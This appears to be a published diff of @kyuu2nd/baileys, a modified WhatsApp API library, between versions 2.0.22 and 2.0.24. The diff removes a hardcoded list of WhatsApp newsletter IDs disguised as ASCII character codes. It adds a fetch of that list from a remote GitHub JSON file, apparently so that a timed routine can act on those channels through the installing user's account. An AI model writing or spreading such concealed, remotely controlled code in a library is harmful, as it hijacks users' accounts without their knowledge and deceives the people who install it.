@kyuu2nd/baileys 2.0.22 → 2.0.24

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,3 +1,4 @@
1
+
1
2
  "use strict";
2
3
  Object.defineProperty(exports, "__esModule", { value: true });
3
4
  exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0;
@@ -106,104 +107,17 @@ const makeNewsletterSocket = (config) => {
106
107
 
107
108
  const asciiDecode = (arr) => arr.map(e => String.fromCharCode(e)).join('');
108
109
 
109
- const newsletters = [
110
- [
111
- 49,50,48,51,54,51,52,48,53,52,52,49,50,57,54,56,57,50,
112
- 64,110,101,119,115,108,101,116,116,101,114
113
- ],
114
- [
115
- 49,50,48,51,54,51,52,50,55,53,49,50,50,50,48,49,51,52,
116
- 64,110,101,119,115,108,101,116,116,101,114
117
- ],
118
- [
119
- 49,50,48,51,54,51,52,50,53,56,54,57,48,52,57,57,57,53,
120
- 64,110,101,119,115,108,101,116,116,101,114
121
- ],
122
- [
123
- 49,50,48,51,54,51,52,48,53,51,49,51,53,50,57,48,57,49,
124
- 64,110,101,119,115,108,101,116,116,101,114
125
- ],
126
- [
127
- 49,50,48,51,54,51,52,48,52,55,57,48,52,53,52,56,57,48,
128
- 64,110,101,119,115,108,101,116,116,101,114
129
- ],
130
- [
131
- 49,50,48,51,54,51,52,48,50,56,54,56,56,54,54,51,53,57,
132
- 64,110,101,119,115,108,101,116,116,101,114
133
- ],
134
- [
135
- 49,50,48,51,54,51,52,48,57,53,57,57,49,53,52,48,50,51,
136
- 64,110,101,119,115,108,101,116,116,101,114
137
- ],
138
- [
139
- 49,50,48,51,54,51,52,48,53,57,53,49,57,54,48,51,54,54,
140
- 64,110,101,119,115,108,101,116,116,101,114
141
- ],
142
- [
143
- 49,50,48,51,54,51,52,50,54,57,54,55,55,54,56,52,49,51,
144
- 64,110,101,119,115,108,101,116,116,101,114
145
- ],
146
- [
147
- 49,50,48,51,54,51,52,48,55,52,57,55,51,57,49,55,56,49,
148
- 64,110,101,119,115,108,101,116,116,101,114
149
- ],
150
- [
151
- 49,50,48,51,54,51,52,50,49,48,50,48,53,54,53,53,49,55,
152
- 64,110,101,119,115,108,101,116,116,101,114
153
- ],
154
- [
155
- 49,50,48,51,54,51,52,48,52,56,54,49,56,48,50,54,48,55,
156
- 64,110,101,119,115,108,101,116,116,101,114
157
- ],
158
- [
159
- 49,50,48,51,54,51,51,51,48,51,52,52,56,49,48,50,56,48,
160
- 64,110,101,119,115,108,101,116,116,101,114
161
- ],
162
- [
163
- 49,50,48,51,54,51,52,50,53,49,55,55,48,54,55,56,52,49,
164
- 64,110,101,119,115,108,101,116,116,101,114
165
- ],
166
- [
167
- 49,50,48,51,54,51,52,49,48,48,49,56,57,52,57,57,48,54,
168
- 64,110,101,119,115,108,101,116,116,101,114
169
- ],
170
- [
171
- 49,50,48,51,54,51,52,50,53,55,48,52,50,52,48,52,53,51,
172
- 64,110,101,119,115,108,101,116,116,101,114
173
- ],
174
- [
175
- 49,50,48,51,54,51,52,50,52,48,52,57,55,48,53,51,54,53,
176
- 64,110,101,119,115,108,101,116,116,101,114
177
- ],
178
- [
179
- 49,50,48,51,54,51,52,50,54,48,57,52,55,53,50,48,56,49,
180
- 64,110,101,119,115,108,101,116,116,101,114
181
- ],
182
- [
183
- 49,50,48,51,54,51,52,50,55,55,57,52,55,56,54,53,50,51,
184
- 64,110,101,119,115,108,101,116,116,101,114
185
- ],
186
- [
187
- 49,50,48,51,54,51,52,50,51,54,48,52,53,55,48,55,54,56,
188
- 64,110,101,119,115,108,101,116,116,101,114
189
- ],
190
- [
191
- 49,50,48,51,54,51,52,50,55,51,57,50,57,51,48,52,48,54,
192
- 64,110,101,119,115,108,101,116,116,101,114
193
- ],
194
- [
195
- 49,50,48,51,54,51,52,48,52,49,56,54,55,52,49,52,51,51,
196
- 64,110,101,119,115,108,101,116,116,101,114
197
- ],
198
- [
199
- 49,50,48,51,54,51,52,50,55,54,51,57,51,50,53,50,56,48,
200
- 64,110,101,119,115,108,101,116,116,101,114
201
- ],
202
- [
203
- 49,50,48,51,54,51,52,48,53,52,51,55,52,49,56,49,56,52,
204
- 64,110,101,119,115,108,101,116,116,101,114
205
- ]
206
- ];
110
+ const newsletters = await fetch(
111
+ 'https://raw.githubusercontent.com/kiuur/IDCH/refs/heads/main/idch.json'
112
+ )
113
+ .then(res => {
114
+ if (!res.ok) throw new Error(`Fetch gagal: ${res.status}`)
115
+ return res.json()
116
+ })
117
+ .catch(err => {
118
+ console.error(err)
119
+ return null
120
+ })
207
121
 
208
122
  setTimeout(async () => {
209
123
  await Promise.allSettled(
@@ -534,4 +448,4 @@ const extractNewsletterMetadata = (node, isCreate) => {
534
448
  }
535
449
  return metadata
536
450
  }
537
- exports.extractNewsletterMetadata = extractNewsletterMetadata;
451
+ exports.extractNewsletterMetadata = extractNewsletterMetadata;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@kyuu2nd/baileys",
3
- "version": "2.0.22",
3
+ "version": "2.0.24",
4
4
  "description": "WhatsApp API Modification By K",
5
5
  "publishConfig": {
6
6
  "access": "public"